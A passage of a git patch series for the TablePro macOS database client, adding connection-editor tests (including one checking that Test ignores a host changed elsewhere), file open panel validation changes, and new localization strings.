let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "ops")) + fixture.seed([elsewhere]) + fixture.storage.saveSOCKSProxyPassword("proxy-secret", for: connection.id) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.socksProxyMode == elsewhere.socksProxyMode) + #expect(fixture.storage.loadSOCKSProxyPassword(for: connection.id) == "proxy-secret") + } + + @Test("Turning the SOCKS proxy off in the editor deletes its password") + func turningSOCKSOffDeletesItsPassword() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "ops")) + fixture.seed([connection]) + fixture.storage.saveSOCKSProxyPassword("proxy-secret", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.transport == .socksProxy) + + store.update { $0.selectTransport(nil) } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.socksProxyMode == .disabled) + #expect(fixture.storage.loadSOCKSProxyPassword(for: connection.id) == nil) + } + + @Test("A password stored elsewhere after prompting was turned off survives an unrelated Save") + func concurrentPromptOffKeepsThePassword() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.promptForPassword = true + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.credentials.promptsForPassword) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.promptForPassword = false + fixture.seed([elsewhere]) + fixture.storage.savePassword("stored-elsewhere", for: connection.id) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(!saved.promptForPassword) + #expect(fixture.storage.loadPassword(for: connection.id) == "stored-elsewhere") + } + + @Test("After a Save whose record write failed, changing a password back to its loaded value still writes it") + func failedSaveForgetsLoadedSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + fixture.storage.savePassword("first", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.credentials.password = "second" } + try fixture.makeLibraryReadOnly(true) + #expect(store.save() == .failure(.recordWriteFailed)) + #expect(fixture.storage.loadPassword(for: connection.id) == "second") + + try fixture.makeLibraryReadOnly(false) + store.update { $0.credentials.password = "first" } + _ = try store.save().get() + #expect(fixture.storage.loadPassword(for: connection.id) == "first") + } + @Test("A connection deleted elsewhere turns the editor into the missing state") func deletionElsewhereShowsMissing() throws { let fixture = try ConnectionEditorStoreFixture() @@ -225,6 +354,18 @@ struct ConnectionEditorStoreTests { #expect(fixture.storage.loadSSHPassword(for: connection.id) == "tunnel-secret") } + @Test("Save SSH as Profile reads the port the way validation does") + func sshProfileFromInlineTrimsThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.selectTransport(.ssh) + $0.ssh.host = "bastion.example.com" + $0.ssh.port = " 2222 " + } + #expect(store.sshProfileFromInline().port == 2_222) + } + @Test("A profile deleted in Settings while the editor is open is adopted inline with its password") func deletedSSHProfileIsAdoptedInline() throws { let fixture = try ConnectionEditorStoreFixture() diff --git a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift index ab5635443b..d9a5ec70ba 100644 --- a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift +++ b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift @@ -185,7 +185,7 @@ struct SQLCodeFieldThemeTests { for (language, row) in fields { let (fixture, window, textView) = try connectionEditorField(language, row: row) #expect(textView.backgroundColor === NSColor.textBackgroundColor) - #expect(textView.enclosingScrollView?.borderType == .bezelBorder) + #expect(textView.enclosingScrollView?.borderType == .noBorder) try ThemeTestFixture.withEverySlotOverridden { #expect(ThemeTestFixture.hex(textView.backgroundColor) == "#FF00FF") From 09c6a1814048953c85081151772838c437fdf1a4 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 23:30:28 +0700 Subject: [PATCH 07/13] wip(connection-editor): test the reviewed definition, not a fresh read --- .../Store/ConnectionEditorStore+Test.swift | 7 ++-- .../Store/ConnectionEditorStoreTests.swift | 36 +++++++++++++++++++ 2 files changed, 40 insertions(+), 3 deletions(-) diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift index 7c035202ff..de6f95db48 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -100,11 +100,12 @@ struct TestRun { extension ConnectionEditorStore { var isTesting: Bool { testState == .running } - // The record Save would write, under a throwaway id: same draft, same base, same merge. + // The definition this window shows, under a throwaway id: the draft's edits over the record it loaded, never a + // fresh read. Test signs in without consent, so a host or sign-in another writer changed must not reach it. func testRecord(testId: UUID) -> DatabaseConnection { let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) - if !isNew, let fresh = storage.loadConnection(id: connectionId) { - return edits.applied(to: ConnectionEditorEngine.record(fresh, reassignedTo: testId), since: baselineEdits) + if let loadedRecord { + return edits.applied(to: ConnectionEditorEngine.record(loadedRecord, reassignedTo: testId), since: baselineEdits) } return edits.applied(to: DatabaseConnection(id: testId, name: "")) } diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index e62fcefcf5..57bb0a0d6a 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -5,6 +5,7 @@ import Combine import Foundation +import TableProConnectionLibrary import TableProPluginKit import TableProSSHConfig import Testing @@ -64,6 +65,41 @@ struct ConnectionEditorStoreTests { #expect(ConnectionEditorEngine.record(tested, reassignedTo: connection.id) == saved) } + @Test("Test dials the host the editor shows, not one stored elsewhere after it opened") + func testIgnoresHostChangedElsewhere() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.additionalFields["mongoParam_directConnection"] = "true" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.host = "db.attacker.example" + fixture.seed([elsewhere]) + fixture.events.connectionUpdated.send(connection.id) + + let tested = store.testRecord(testId: UUID()) + #expect(tested.host == "db.example.com") + #expect(tested.additionalFields["mongoParam_directConnection"] == "true") + } + + @Test("A sign-in with this Mac's credentials added elsewhere after the editor opened is not used by Test") + func testIgnoresLocalCredentialAddedElsewhere() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.additionalFields["awsAuth"] = "profile" + elsewhere.additionalFields["mssqlAuthMethod"] = "entra" + fixture.seed([elsewhere]) + #expect(!ConnectionFieldCatalog.localCredentialUses(in: elsewhere.additionalFields).isEmpty) + + let tested = store.testRecord(testId: UUID()) + #expect(ConnectionFieldCatalog.localCredentialUses(in: tested.additionalFields).isEmpty) + } + @Test("A result is cleared by an edit to what was tested, and kept by a rename") func resultClearsOnTestedEdit() throws { let fixture = try ConnectionEditorStoreFixture() From d1734b697ff1d21fd712dd50ecd2cf6186628a2e Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 00:34:47 +0700 Subject: [PATCH 08/13] wip(connection-editor): round 3 review and audit fixes, strings --- .../TableProPluginKit/SSLHandshakeError.swift | 2 +- .../Core/Plugins/DatabaseType+Registry.swift | 4 +- .../Infrastructure/FileOpenPanel.swift | 33 +- .../Infrastructure/PanelEnableFilter.swift | 74 ++- .../TablePro/Resources/Localizable.xcstrings | 455 ++++++++++++++++++ .../Views/Connection/ConnectionTileView.swift | 27 +- .../AttachedDatabaseListEditor.swift | 194 -------- .../LoadableExtensionListEditor.swift | 229 --------- .../ConnectionEditorEngine+Issues.swift | 7 +- .../ConnectionEditorEngine+Layout.swift | 24 +- .../ConnectionForm/Engine/EditorLayout.swift | 6 + .../Facets/AIAndMCPFacetView.swift | 2 + .../Facets/AdvancedAttachedDatabaseRows.swift | 101 ++-- .../Facets/AdvancedExtensionRows.swift | 99 ++-- .../Facets/AdvancedFacetView.swift | 17 +- .../Facets/AdvancedListEntry.swift | 49 +- .../Facets/AppearanceFacetView.swift | 2 + .../Facets/GeneralAuthenticationRows.swift | 68 ++- .../Facets/GeneralConnectionRows.swift | 3 + .../Facets/GeneralFacetView.swift | 22 +- .../Facets/Rows/EditorCodeEditor.swift | 10 +- .../Facets/Rows/EditorPathRow.swift | 36 +- .../Facets/Rows/EditorRowFocus.swift | 51 ++ .../Facets/Rows/PluginFieldRow.swift | 19 +- .../Facets/SSHAndProxiesFacetView.swift | 3 + .../Facets/SSHAndProxiesJumpHostRows.swift | 83 ++-- .../Facets/SSHAndProxiesSSHRows.swift | 8 +- .../ConnectionForm/Facets/SSLFacetView.swift | 2 + .../Facets/SafeModeFacetView.swift | 66 +-- .../Facets/StartupFacetView.swift | 2 + .../Facets/TransportProxyRows.swift | 11 +- .../Shell/ConnectionEditorCommitBar.swift | 20 +- ...onnectionEditorSidebarViewController.swift | 9 +- .../Store/ConnectionEditorStore+Edits.swift | 6 +- .../Store/ConnectionEditorStore+Load.swift | 17 + .../Store/ConnectionEditorStore.swift | 6 +- .../Support/ConnectionFormEdits.swift | 52 +- .../Support/DatabaseFilePanel.swift | 77 ++- .../Views/Welcome/WelcomeOutlineRows.swift | 18 +- .../Welcome/WelcomeRowPresentation.swift | 14 +- .../Plugins/SSLHandshakeErrorTests.swift | 2 +- .../DatabaseFilePanelTests.swift | 118 ++++- .../ConnectionEditorEngineFacetTests.swift | 2 +- .../ConnectionEditorEngineIssueTests.swift | 57 ++- .../ConnectionFormEditsMergeTests.swift | 32 ++ .../Shell/ConnectionEditorFocusTests.swift | 28 ++ .../ConnectionEditorStoreAuthTests.swift | 33 ++ .../Welcome/WelcomeRowPresentationTests.swift | 19 + 48 files changed, 1447 insertions(+), 772 deletions(-) delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift delete mode 100644 apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift diff --git a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift index 8a30ea395b..ac59cad46a 100644 --- a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift +++ b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift @@ -103,7 +103,7 @@ public enum SSLHandshakeError: Error, LocalizedError, Sendable { case .clientKeyPassphraseIncorrect: return String(localized: "Correct the Key Passphrase in the connection's SSL/TLS settings.") case .clientKeyInvalid: - return String(localized: "Check that the client key file is a valid PEM private key.") + return String(localized: "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key.") case .cipherMismatch: return String(localized: "Update the server's TLS configuration or use a newer database server version that supports modern ciphers.") case .unknown: diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift index c6c63ac55d..a0d1b7db56 100644 --- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift +++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift @@ -172,8 +172,8 @@ extension DatabaseType { return String(localized: "Preferred tries TLS first, falls back to plain.") case _ where pluginTypeId == "MySQL": return String(localized: """ - Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \ - SSL handshake errors. Required by Cloud SQL and Azure MySQL. + Preferred tries TLS first and connects without it when the TLS handshake fails. \ + Use Required for Cloud SQL and Azure Database for MySQL, which refuse an unencrypted connection. """) case "SQL Server": return String(localized: "Preferred requests TLS; the server decides. Required by SQL Server 2022 and Azure SQL Database.") diff --git a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift index 55c1cacbf5..e9574f1971 100644 --- a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift +++ b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift @@ -14,7 +14,7 @@ internal enum FileOpenPanel { panel.canChooseDirectories = false panel.message = String(localized: "Select files to open") - let filter = PanelEnableFilter(isEnabled: isOpenable) + let filter = PanelEnableFilter(isEnabled: isOpenable, validate: validate) panel.delegate = filter let response = await panel.begin() withExtendedLifetime(filter) {} @@ -24,11 +24,34 @@ internal enum FileOpenPanel { } // A plain folder stays enabled so the panel can be navigated; a package such as `.tableplugin` is classified - // like a file. The name settles most of a folder, and the bytes are read only when they are already here. - private static func isOpenable(_ url: URL) -> Bool { - let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey]) + // like a file. The name settles most of a folder, and a file whose name says nothing is left for `validate`. + internal static func isOpenable(_ url: URL) -> Bool { + let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey, .fileResourceTypeKey]) if values?.isDirectory == true, values?.isPackage != true { return true } if case .some(.success) = URLClassifier.classifyByName(url) { return true } - return DatabaseFileClassifier.classify(url, access: .withoutWaiting) != nil + return values?.fileResourceType == .regular && PanelFileName.leavesKindOpen(url) + } + + // A file whose bytes are not on this Mac yet is let through; opening it decides, as a drop or a Finder open does. + internal static func validate(_ url: URL) throws { + if case .some(.success) = URLClassifier.classifyByName(url) { return } + if DatabaseFileClassifier.classify(url, access: .withoutWaiting) != nil { return } + guard DatabaseFileClassifier.isReadableWithoutWaiting(url) else { return } + throw FileOpenPanelError.unsupported(fileName: url.lastPathComponent) + } +} + +private enum FileOpenPanelError: LocalizedError { + case unsupported(fileName: String) + + var errorDescription: String? { + switch self { + case .unsupported(let fileName): + return String(format: String(localized: "TablePro can’t open “%@”."), fileName) + } + } + + var recoverySuggestion: String? { + String(localized: "TablePro opens database files, SQL files, data files, connection shares and plugins.") } } diff --git a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift index df88500856..e1eb7b471d 100644 --- a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift +++ b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift @@ -4,41 +4,79 @@ // import AppKit +import UniformTypeIdentifiers -// Decides which items an open panel lets someone choose, for a rule `allowedContentTypes` cannot express because -// it matches names only: a SQLite database saved with no extension, or under someone else's, is reachable only by -// reading its bytes. AppKit asks on the main thread while the panel browses, so a rule reads a file only through -// `DatabaseFileClassifier.Access.withoutWaiting`. +// Decides which items an open panel offers and checks the pick, for a rule `allowedContentTypes` cannot express: +// a SQLite database saved with no extension, or under someone else's, is told apart only by its bytes. AppKit asks +// `shouldEnable` on the main thread while the panel browses, and opening a file in Desktop, Documents or Downloads +// there waits on the system's consent prompt, so the enable rule goes by name and file type only. The bytes are read +// in `validate`, after the person picked the file, which grants the access. @MainActor internal final class PanelEnableFilter: NSObject, NSOpenSavePanelDelegate { private let isEnabled: @MainActor (URL) -> Bool + private let validator: (@MainActor (URL) throws -> Void)? - // The panel asks again on every scroll, and a rule may read the head of the file. + // The panel asks again on every scroll. private var decisions: [URL: Bool] = [:] - internal init(isEnabled: @escaping @MainActor (URL) -> Bool) { + internal init( + isEnabled: @escaping @MainActor (URL) -> Bool, + validate: (@MainActor (URL) throws -> Void)? = nil + ) { self.isEnabled = isEnabled + self.validator = validate } func panel(_ sender: Any, shouldEnable url: URL) -> Bool { if let decided = decisions[url] { return decided } - let enabled = isEnabled(url) || Self.linkTarget(of: url).map(isEnabled) == true + let enabled = isEnabled(url) || Self.symlinkTarget(of: url).map(isEnabled) == true || Self.isFinderAlias(url) decisions[url] = enabled return enabled } - // A symlink or Finder alias arrives as itself, with neither the target's kind nor its bytes, so a folder behind - // one would be dimmed and everything in it stranded. The link's own name is asked first, since it may be the - // only thing that matches. An alias is a file of its own that resolving reads, so one that is not here yet is - // left unresolved, and so is one on a volume that is not mounted. - private static func linkTarget(of url: URL) -> URL? { - let values = try? url.resourceValues(forKeys: [.isSymbolicLinkKey, .isAliasFileKey]) - if values?.isSymbolicLink == true { - return try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + // A dimmed file still comes back from a double-click in list view, so the rule is enforced here too. + func panel(_ sender: Any, validate url: URL) throws { + guard let validator else { return } + do { + try validator(url) + } catch { + guard Self.isFinderAlias(url), + let target = try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + else { throw error } + try validator(target) } - guard values?.isAliasFile == true, DatabaseFileClassifier.isReadableWithoutWaiting(url) else { return nil } - return DatabaseFileClassifier.withoutMaterializing { - try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + } + + // A symlink arrives as itself, with neither the target's kind nor its name, so a folder behind one would be dimmed + // and everything in it stranded. The link's own name is asked first, since it may be the only thing that matches. + private static func symlinkTarget(of url: URL) -> URL? { + guard (try? url.resourceValues(forKeys: [.isSymbolicLinkKey]))?.isSymbolicLink == true else { return nil } + return try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + } + + // Resolving a Finder alias reads the alias file, so one stays enabled unresolved: the panel opens one that names a + // folder, and `validate` checks the file behind one that is picked. + private static func isFinderAlias(_ url: URL) -> Bool { + let values = try? url.resourceValues(forKeys: [.isAliasFileKey, .isSymbolicLinkKey]) + return values?.isAliasFile == true && values?.isSymbolicLink != true + } +} + +// What a file's name alone says about its kind, for an enable rule that may not read the file. +internal enum PanelFileName { + // No extension, one no installed app declares, or a declared type that names no other kind: only the bytes can + // tell what it holds. + internal static func leavesKindOpen(_ url: URL) -> Bool { + let fileExtension = url.pathExtension + guard !fileExtension.isEmpty, let type = UTType(filenameExtension: fileExtension), type.isDeclared else { + return true } + if type.conforms(to: .database) { return true } + return !otherKinds.contains { type.conforms(to: $0) } } + + private static let otherKinds: [UTType] = [ + .text, .image, .audiovisualContent, .compositeContent, .font, .presentation, .spreadsheet, + .executable, .diskImage, .zip, .gzip, + ] } diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index 4ab7887155..af0435835e 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -1075,6 +1075,9 @@ }, "“%@” is used more than once." : { + }, + "“%@” isn’t a library." : { + }, "“%@” isn't a port or a range of ports, such as 4000-4999." : { "extractionState" : "manual", @@ -1633,6 +1636,9 @@ } } } + }, + "“%1$@” isn’t a database %2$@ can open." : { + }, "“%1$@” refers to “%2$@”, which is not in the file" : { "extractionState" : "manual", @@ -3465,6 +3471,9 @@ } } } + }, + "%@ doesn't work through a tunnel." : { + }, "%@ duplicate rows" : { "localizations" : { @@ -12825,6 +12834,9 @@ } } } + }, + "^[%lld Attached Database](inflect: true)" : { + }, "^[%lld change](inflect: true)" : { @@ -12918,6 +12930,9 @@ } } } + }, + "^[%lld Extension](inflect: true)" : { + }, "^[%lld finding](inflect: true)" : { @@ -12927,6 +12942,9 @@ }, "^[%lld ignored finding](inflect: true) hidden." : { + }, + "^[%lld Jump Host](inflect: true)" : { + }, "^[%lld line](inflect: true)" : { "localizations" : { @@ -13023,6 +13041,9 @@ } } } + }, + "^[%lld Rule](inflect: true)" : { + }, "^[%lld table](inflect: true) to export" : { "localizations" : { @@ -15020,6 +15041,9 @@ } } } + }, + "30 seconds" : { + }, "30s" : { "localizations" : { @@ -15140,6 +15164,9 @@ } } } + }, + "60 seconds" : { + }, "60s" : { "localizations" : { @@ -15598,6 +15625,10 @@ }, "A check needs an expression." : { + }, + "A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or clear the client certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "A client certificate needs its client key. On the connection's Network tab, choose the client key, or clear the client certificate." : { "extractionState" : "manual", @@ -18209,6 +18240,9 @@ } } } + }, + "Absolute, or relative to the SSH account's home directory." : { + }, "Absolute, or relative to the SSH account's home directory. `~` works." : { "localizations" : { @@ -18902,6 +18936,9 @@ } } } + }, + "Actions for %@" : { + }, "Activate" : { "localizations" : { @@ -19940,6 +19977,9 @@ }, "Add a saved query to watch its result here." : { + }, + "Add a service account key." : { + }, "Add an AI provider in Settings > AI first." : { "localizations" : { @@ -22115,6 +22155,9 @@ } } } + }, + "AI & MCP" : { + }, "AI access is disabled for this connection" : { "localizations" : { @@ -28529,6 +28572,9 @@ }, "As stored" : { + }, + "As Stored" : { + }, "As written" : { @@ -28880,6 +28926,9 @@ } } } + }, + "Ask for the password every time" : { + }, "Ask Once for Each Connection" : { "localizations" : { @@ -32483,6 +32532,9 @@ }, "Binary File" : { + }, + "Binary Value Limit" : { + }, "Binary values limit must be between 1 and 1,048,576 KB." : { @@ -34712,6 +34764,9 @@ } } } + }, + "Cancel Test" : { + }, "Cancel the running query for session %@?" : { @@ -36491,6 +36546,9 @@ } } } + }, + "Change Database Type" : { + }, "Change field “%1$@” to %2$@" : { @@ -37449,6 +37507,9 @@ } } } + }, + "Changing to %@ removes:" : { + }, "Changing which rows are shown will discard all unsaved changes." : { "localizations" : { @@ -38229,6 +38290,9 @@ } } } + }, + "Check the host and port, and that the server is running and reachable from this Mac." : { + }, "Check the keys the block writes before running it again." : { "extractionState" : "manual", @@ -38299,6 +38363,12 @@ }, "Check the server and your network, then try again." : { + }, + "Check the settings in SSH & Proxies." : { + + }, + "Check the SSL mode and certificates in SSL/TLS." : { + }, "Check the tunnel host and your network, then try again." : { "localizations" : { @@ -38339,6 +38409,9 @@ } } } + }, + "Check the username and password." : { + }, "Check the values already stored" : { @@ -38676,6 +38749,9 @@ } } } + }, + "Choose a CA certificate." : { + }, "Choose a certificate or key file" : { "localizations" : { @@ -38782,6 +38858,9 @@ } } } + }, + "Choose a database file." : { + }, "Choose a database or bucket first." : { "extractionState" : "manual", @@ -38912,6 +38991,9 @@ } } } + }, + "Choose a key file for jump host %lld." : { + }, "Choose a location to save the diagram as %@." : { @@ -39870,6 +39952,9 @@ } } } + }, + "Choose Port Automatically" : { + }, "Choose Schema" : { @@ -39885,6 +39970,10 @@ }, "Choose the base type." : { + }, + "Choose the client certificate and key in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Choose the client certificate and key on the connection's Network tab." : { "extractionState" : "manual", @@ -39897,6 +39986,9 @@ } } } + }, + "Choose the client key." : { + }, "Choose the columns shown beside each key" : { "localizations" : { @@ -39937,6 +40029,9 @@ } } } + }, + "Choose the database file to attach as “%@”." : { + }, "Choose the database files to attach each time this connection opens." : { @@ -39974,6 +40069,9 @@ } } } + }, + "Choose the SQLite extension library to load in its place." : { + }, "Choose Type" : { "extractionState" : "stale", @@ -43423,6 +43521,9 @@ } } } + }, + "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it, or choose the binary." : { + }, "cloud-sql-proxy was not found. Install it with “brew install cloud-sql-proxy”, or download it in the Cloud SQL Auth Proxy settings." : { "localizations" : { @@ -43750,6 +43851,9 @@ } } } + }, + "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary." : { + }, "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." : { @@ -46232,6 +46336,9 @@ } } } + }, + "Commands to run after connecting. One per line or separated by semicolons." : { + }, "Commas:" : { @@ -48399,6 +48506,9 @@ } } } + }, + "Connect over Private IP" : { + }, "Connect Securely" : { "localizations" : { @@ -48449,6 +48559,9 @@ } } } + }, + "Connect Timeout" : { + }, "Connect Timeout (seconds)" : { "extractionState" : "stale", @@ -48682,6 +48795,9 @@ } } } + }, + "Connect Via" : { + }, "connected" : { "extractionState" : "manual", @@ -48847,6 +48963,12 @@ } } } + }, + "Connected to %1$@ %2$@ in %3$lld ms" : { + + }, + "Connected to %1$@ in %2$lld ms" : { + }, "Connected with a warning" : { @@ -49350,6 +49472,9 @@ } } } + }, + "Connection failed" : { + }, "Connection Failed" : { "localizations" : { @@ -49853,6 +49978,9 @@ } } } + }, + "Connection Settings" : { + }, "Connection status" : { "comment" : "Toolbar item tooltip for the status section of the toolbar.", @@ -50742,12 +50870,21 @@ } } } + }, + "Connects straight to the host and port set in General." : { + }, "Connects through the socket file on the General tab." : { + }, + "Connects through the socket file set in General." : { + }, "Connects through the socket on the General tab. PostgreSQL sends no SSL over a socket, which stays on this Mac." : { + }, + "Connects through the socket set in General. PostgreSQL sends no SSL over a socket, which stays on this Mac." : { + }, "Connects to %@. The port names the socket file in the folder." : { @@ -51986,6 +52123,9 @@ }, "Copy as UPDATE Statements" : { + }, + "Copy as URL" : { + }, "COPY at line %@: %@ lines sent" : { "extractionState" : "manual", @@ -53629,6 +53769,10 @@ }, "Copying objects to %@" : { + }, + "Correct the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Correct the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", @@ -57775,6 +57919,9 @@ } } } + }, + "Credential Profile" : { + }, "Credential Profiles" : { "localizations" : { @@ -58440,6 +58587,9 @@ "Current Statement" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Current type" : { + }, "Current value" : { "localizations" : { @@ -63423,6 +63573,9 @@ } } } + }, + "Delete “%@”…" : { + }, "Delete /%@" : { "localizations" : { @@ -63850,6 +64003,9 @@ } } } + }, + "Delete Failed" : { + }, "Delete Favorite?" : { "localizations" : { @@ -64564,6 +64720,9 @@ } } } + }, + "Delete the tag “%@”?" : { + }, "Delete Theme" : { "extractionState" : "stale", @@ -66004,6 +66163,9 @@ } } } + }, + "Detected: %@" : { + }, "Development" : { "extractionState" : "manual", @@ -66046,6 +66208,9 @@ } } } + }, + "Development environment" : { + }, "Device" : { "extractionState" : "manual", @@ -67705,6 +67870,9 @@ } } } + }, + "Do you want to save the changes to “%@”?" : { + }, "Document" : { "extractionState" : "manual", @@ -68216,6 +68384,9 @@ } } } + }, + "Download" : { + }, "Download and install updates automatically" : { "localizations" : { @@ -73563,6 +73734,18 @@ } } } + }, + "Encrypts the connection and checks that a trusted certificate authority signed the server certificate." : { + + }, + "Encrypts the connection and checks the server certificate and that it names the host." : { + + }, + "Encrypts the connection when the server offers TLS, and connects without it otherwise." : { + + }, + "Encrypts the connection without checking the server certificate." : { + }, "Endpoint" : { "extractionState" : "stale", @@ -73832,6 +74015,12 @@ }, "Engines that match type names by exact case, such as ClickHouse, keep the case you typed." : { + }, + "Enter %1$@ to %2$@ KB." : { + + }, + "Enter %1$@ to %2$@ seconds." : { + }, "Enter a _key for the new row. Bigtable has no generated keys." : { "extractionState" : "manual", @@ -73957,11 +74146,24 @@ } } }, + "Enter a number from %@ to %@." : { + "localizations" : { + "en" : { + "stringUnit" : { + "state" : "new", + "value" : "Enter a number from %1$@ to %2$@." + } + } + } + }, "Enter a number of rows from 1 to %@." : { }, "Enter a pattern for %@." : { + }, + "Enter a port from 1 to 65535." : { + }, "Enter a Project ID, or use a service account key that names one." : { "extractionState" : "manual", @@ -74033,6 +74235,9 @@ }, "Enter a whole number from 1 to %@." : { + }, + "Enter a whole number." : { + }, "Enter an absolute path, as it appears on the SSH server." : { "localizations" : { @@ -74083,6 +74288,9 @@ } } } + }, + "Enter an SSH host." : { + }, "Enter at least one value for %@." : { @@ -74186,6 +74394,9 @@ } } } + }, + "Enter it as project:region:instance." : { + }, "Enter one document. There is more text after its closing }." : { "extractionState" : "manual", @@ -74297,6 +74508,15 @@ } } } + }, + "Enter the Access hostname." : { + + }, + "Enter the address of jump host %lld." : { + + }, + "Enter the client ID and secret." : { + }, "Enter the code %@ in the browser to finish signing in to Microsoft Entra ID. The code is on your clipboard." : { "localizations" : { @@ -74396,6 +74616,13 @@ } } }, + "Enter the file's path on the server." : { + + }, + "Enter the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Enter the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -74521,6 +74748,9 @@ } } } + }, + "Enter the proxy host." : { + }, "Enter the SAP HANA host name." : { "extractionState" : "manual", @@ -77065,6 +77295,9 @@ } } } + }, + "Executable Path" : { + }, "Execute" : { "localizations" : { @@ -80352,6 +80585,9 @@ } } } + }, + "Expose to Local Network" : { + }, "Expression" : { "extractionState" : "manual", @@ -83616,6 +83852,9 @@ } } } + }, + "File Path is unused. The connection opens the file on the SSH server chosen in Location." : { + }, "File path or paste JSON" : { "extractionState" : "manual", @@ -83862,6 +84101,9 @@ } } } + }, + "Filled from the URL: %@." : { + }, "Film" : { "extractionState" : "manual", @@ -86804,6 +87046,9 @@ }, "Forget %@" : { + }, + "Forget a tool to be asked before it runs again." : { + }, "Forget All" : { "localizations" : { @@ -90991,6 +91236,9 @@ } } } + }, + "Hide password" : { + }, "Hide Query History" : { "localizations" : { @@ -91864,6 +92112,9 @@ }, "Host and Port" : { + }, + "Host and Port are unused. The SSH tunnel forwards to the socket path set in SSH & Proxies." : { + }, "Host and Port are unused. The SSH tunnel forwards to the socket path set on the Network 